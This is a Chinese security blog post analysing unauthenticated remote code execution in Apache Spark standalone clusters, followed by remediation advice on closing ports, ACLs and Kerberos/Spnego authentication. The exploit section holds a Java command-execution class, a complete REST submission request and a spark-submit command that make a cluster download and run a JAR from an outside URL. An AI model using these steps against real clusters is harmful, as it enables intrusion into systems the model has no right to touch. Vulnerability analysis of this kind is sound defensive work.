Spark未授权漏洞分析及测试

2018-11-08 19:35:1626598人阅读

0x01 漏洞介绍

    Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动访问控制,攻击者可以在集群中执行任意代码。
    该漏洞的本质是未授权用户可以向Master节点提交一个应用,Master节点会分发给Slave节点执行应用。如果应用中包含恶意代码,会导致任意代码执行,威胁Spark集群整体的安全性。

  

0x02 漏洞测试

Master节点提交应用的方式有两种:
1
、利用StandaloneRestServer API提交应用,REST服务端的默认端口号是6066
 

2、使用Spark应用程序部署工具spark-submit提交应用。

import java.io.BufferedReader;

import java.io.InputStreamReader;

public class Exploit {

  public static void main(String[] args) throws Exception {

    String[] cmds = args[0].split(",");

    for (String cmd : cmds) {

      System.out.println(cmd);

      System.out.println(executeCommand(cmd.trim()));

      System.out.println("==============================================");

    }

  }

  // https://www.mkyong.com/java/how-to-execute-shell-command-from-java/

  private static String executeCommand(String command) {

    StringBuilder output = new StringBuilder();

    try {

      Process p = Runtime.getRuntime().exec(command);

      p.waitFor();

      BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));

      String line;

      while ((line = reader.readLine()) != null) {

        output.append(line).append("\n");

      }

    } catch (Exception e) {

      e.printStackTrace();

    }

    return output.toString();

  }

}

 应用可以是JavaPython,就是一个最简单的类,如下所示(参考链接1):


将其编译成JAR,放在任意一个HTTPFTP上,如https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jarstandalone模式下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API

POST /v1/submissions/create HTTP/1.1

Host: 111.111.111.111:6066

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Content-Type: application/json

Connection: close

Content-Length: 687

{

  "action": "CreateSubmissionRequest",

  "clientSparkVersion": "2.3.1",

  "appArgs": [

    "whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"

  ],

  "appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",

  "environmentVariables": {

    "SPARK_ENV_LOADED": "1"

  },

  "mainClass": "Exploit",

  "sparkProperties": {

    "spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",

    "spark.driver.supervise": "false",

    "spark.app.name": "Exploit",

    "spark.eventLog.enabled": "true",

    "spark.submit.deployMode": "cluster",

    "spark.master": "spark://111.111.111.111:6066"

  }

}


其中spark.jars就是恶意的应用,appArgs是该应用执行的命令参数。提交该请求之后,Spark slave节点会部署运行该恶意应用。 

  服务器响应图所示:其中submissionId在漏洞利用请求的response中可以查看到。

1.png    

    通过如下Url可以查看任务的运行情况:


    http://{Master ip}:8081/logPage/??driverId={submissionId}&logType=stdout


    结果下图所示: 

2.png

    如果6066端口不能访问,或做了权限控制,我们可以向Spark standalone集群的master节点来提交应用,默认端口是7077,具体方法是利用Apache Spark自带的脚本bin/spark-submit

bin/spark-submit --master spark://111.111.111.111:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id


0x03 漏洞修复

 

1、对外关闭端口
    对外关闭8080(Standalone Master Web UI端口)8081(Standalone Worker Web UI端口)6066(Standalone Master Rest Server Api端口)7077(Standalone Master集群作业提交端口)Spark端口。

 

2、权限认证
    用户可以自定义 javax servlet filter 来对登陆用户进行认证,Spark会根据用户的ACL(访问控制列表)来确保该登陆用户有权限访问某个Spark应用的web UISpark ACL的行为可由 spark.acls.enable spark.ui.view.acls 共同控制。注意,启动Spark应用的用户总是会有权限访问该应用对应的UI。而在YARN模式下,Spark web UI会使用YARNweb应用代理机制,通过Hadoop过滤器进行认证。
    Spark还支持修改运行中的Spark应用对应的ACL以便更改其权限控制,不过这可能会导致杀死应用或者杀死任务的动作。这一特性由 spark.acls.enable spark.modify.acls 共同控制。注意,如果你需要web UI的认证,比如为了能够在web UI上使用杀死应用的按钮,那么就需要将用户同时添加到modify ACLview ACL中。在YARN上,控制用户修改权限的modify ACL是通过YARN接口传进来的。
    Spark可以允许多个管理员共同管理ACL,而且这些管理员总是能够访问和修改所有的Spark应用。而管理员本身是由 spark.admin.acls 配置的。在一个共享的多用户集群中,你可能需要配置多个管理员,另外,该配置也可以用于支持开发人员调试Spark应用。

 

3Spnego Authentication
    开启了ACL就能对UI进行权限隔离了吗?其实我们还只走了一半路。为了使web serverSpark内嵌Jetty)能够对用户进行隔离,首先Jetty需要知道是谁发起了HTTP请求,换句话说,只有用户的HTTP请求中包含了用户信息,UIACL才能根据用户信息进行正确的隔离。但是不幸的是,普通的HTTP请求是不包含用户信息。
    为此需要为Jetty servlet加入authentication filter以获取认证用户的信息。在这之中,最常用的就是Spnego authentication
    Spnego是一套以Kerberos为基础的HTTP认证机制,只有经过Kerberos授权的HTTP请求才能被web server所接受。Hadoop生态系统下的各个组件的UI大都采用Spnego作为认证机制,如HDFSYARN等。

    为了使Spark UI能够使用Spnego认证,用户需要实现相应的authentication filter并将其添加到Jetty中。幸运的是Hadoop已经帮我们实现了相应的filter,只需将其配置就可使用。具体如下:

1.spark.ui.filters=org.apache.hadoop.security.authentication.server.AuthenticationFilter

2.spark.org.apache.hadoop.security.authentication.server.AuthenticationFilter.params=type=kerberos,kerberos.pricipal=<kerberos-principal>,kerberos.keytab=<kerberos-keytab>


    在这里,需要为Spark UI创建Kerberos principalkeytab。这样Spark UI就有了Spnego
authentication的能力了,任何用户在发起HTTP请求之前必须先获得Kerberos tgt。使用curl命令的话,方式

$ kinit

$ curl --negotiate -u : <host>:<port>/<xxx>

    经过Spnego认证的HTTP请求在其HTTP头部包含用户信息,Spark UIACL机制会从其中获取用户名并在相应的权限列表中进行比对。


参考链接:

 

4Apache Knox

参考链接:



本文来自百度安全SiemPent Team,转载请注明出处及本文链接

0
现金券
0
兑换券
立即领取
领取成功